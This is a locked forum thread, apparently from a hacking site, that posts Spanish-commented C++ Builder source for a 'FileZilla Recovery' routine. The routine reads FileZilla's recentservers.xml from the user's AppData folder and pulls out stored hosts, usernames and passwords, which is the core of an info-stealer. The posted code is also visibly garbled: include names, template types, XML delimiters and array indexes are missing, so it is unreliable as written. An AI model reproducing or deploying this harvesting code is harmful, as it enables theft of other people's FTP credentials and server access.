Jump to content
YOUR-AD-HERE
HOSTING
TOOLS
992Proxy

Locked FileZilla Recovery [C++ XE2] [Fakedo0r]


Expermicid

Recommended Posts

[lenguaje=delphi]// *****************************************************************************

// * CPP: CPP_GetFileZillaAccounts

// * AUTOR: Fakedo0r .:PD-TEAM:.

// * FECHA: 27.08.2012

// * CORREO: [email protected]

// * BLOG: Sub-Soul.blogspot.com / Sub-Soul.com

// * REQUERIMIENTOS: Librerias Estandar EMBARCADERO XE2

// *****************************************************************************

// *****************************************************************************

// <--- #INCLUDE --->

// *****************************************************************************

#include "CPP_GetFileZillaAccounts.h"

#include

#include

#include

#include

#include

// *****************************************************************************

// <--- DECLARACION DE FUNCIONES / PROCEDIMIENTOS --->

// *****************************************************************************

Boolean IsFileExists(String sFile);

String ReadFileAPI(String sFile);

String GetSpecialFolderAPI(int iCSDL);

String ByteArrayToString(std::vectorvbArray);

String StrCenter(String sCadena, String sDel_1, String sDel_2);

std::vectorGetFileZilaAccounts(String sSepInt);

std::vectorSplit(String sCadena, String sDelimitador);

 

// *****************************************************************************

// <--- RECUPERA LAS CUENTAS DE FILEZILLA --->

// *****************************************************************************

std::vectorGetFileZilaAccounts(String sSepInt) {

 

int I;

String sPath;

String sHost;

String sUser;

String sPass;

String sAccounts;

std::vectorvsAcoounts;

std::vectorvsTemp;

 

sPath = GetSpecialFolderAPI(CSIDL_APPDATA) +

"\\FileZilla\\recentservers.xml";

 

if (IsFileExists(sPath) == false) {

exit;

}

 

sAccounts = ReadFileAPI(sPath);

sAccounts = StrCenter(sAccounts, "", "");

vsAcoounts = Split(sAccounts, "");

 

for (I = 1; I < vsAcoounts.size(); I++) {

 

sHost = StrCenter(vsAcoounts, "", "");

sUser = StrCenter(vsAcoounts, "", "");

sPass = StrCenter(vsAcoounts, "", "");

 

vsTemp.push_back(sHost + sSepInt +

sUser + sSepInt +

sPass);

}

 

return vsTemp;

}

 

// *****************************************************************************

// <--- OBTIENE RUTAS ESPECIALES --->

// *****************************************************************************

String GetSpecialFolderAPI(int iCSDL) {

 

wchar_t pszPath[MAX_PATH];

ITEMIDLIST * tIDL;

 

HRESULT hRet = SHGetSpecialFolderLocation(0, iCSDL, &tIDL);

 

if (hRet != NOERROR) {

return 0;

}

 

SHGetPathFromIDList(tIDL, pszPath);

 

return String(pszPath);

}

 

// *****************************************************************************

// <--- COMPRUEBA SI EL FICHERO EXISTE --->

// *****************************************************************************

Boolean IsFileExists(String sFile) {

 

HRESULT hRes = GetFileAttributes(sFile.w_str());

 

if (hRes == INVALID_FILE_ATTRIBUTES) {

return false;

}

else {

return true;

}

}

 

// *****************************************************************************

// <--- LECTURA --->

// *****************************************************************************

String ReadFileAPI(String sFile) {

 

DWORD dwRet = 0;

int iSize = 0;

HANDLE hFile;

std::vectorvbBuffer;

 

hFile = CreateFile(UnicodeString(sFile).c_str(), GENERIC_READ,

FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

 

if (hFile == INVALID_HANDLE_VALUE) {

return 0;

}

 

iSize = GetFileSize(hFile, 0);

vbBuffer.resize(iSize);

 

SetFilePointer(hFile, 0, NULL, FILE_BEGIN);

ReadFile(hFile, &vbBuffer[0], iSize, &dwRet, NULL);

CloseHandle(hFile);

 

return ByteArrayToString(vbBuffer);

}

 

// *****************************************************************************

// <--- CONVIERTE ARRAY DE BYTES EN STRING --->

// *****************************************************************************

String ByteArrayToString(std::vectorvbArray) {

 

String sResult;

Integer I;

 

sResult.SetLength(vbArray.size());

 

for (I = 0; I < vbArray.size(); I++) {

sResult[i + 1] = vbArray;

}

 

return sResult;

}

 

// *****************************************************************************

// <--- SPLIT --->

// *****************************************************************************

std::vectorSplit(String sCadena, String sDelimitador) {

 

int I;

std::vectorvsTemp;

 

for (I = 0; I < sCadena.Length(); I++) {

if (Pos(sDelimitador, sCadena) == 0) {

vsTemp.push_back(MidStr(AnsiString(sCadena), 1, sCadena.Length()));

return vsTemp;

}

else {

vsTemp.push_back(MidStr(AnsiString(sCadena), 1,

Pos(sDelimitador, sCadena) - 1));

sCadena = MidStr(AnsiString(sCadena),

vsTemp.Length() + sDelimitador.Length() + 1,

sCadena.Length() - sDelimitador.Length());

}

}

 

return vsTemp;

}

 

// *****************************************************************************

// <--- OBTIENE LA CADENA CENTRAL --->

// *****************************************************************************

String StrCenter(String sCadena, String sDel_1, String sDel_2) {

 

String sTemp;

 

sTemp = MidStr(AnsiString(sCadena), Pos(sDel_1, sCadena) + sDel_1.Length(),

sCadena.Length() - Pos(sDel_2, sTemp));

sTemp = MidStr(AnsiString(sTemp), 1, AnsiPos(sDel_2, sTemp) - 1);

 

return sTemp;

} [/lenguaje]

Edited by Expermicid
Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.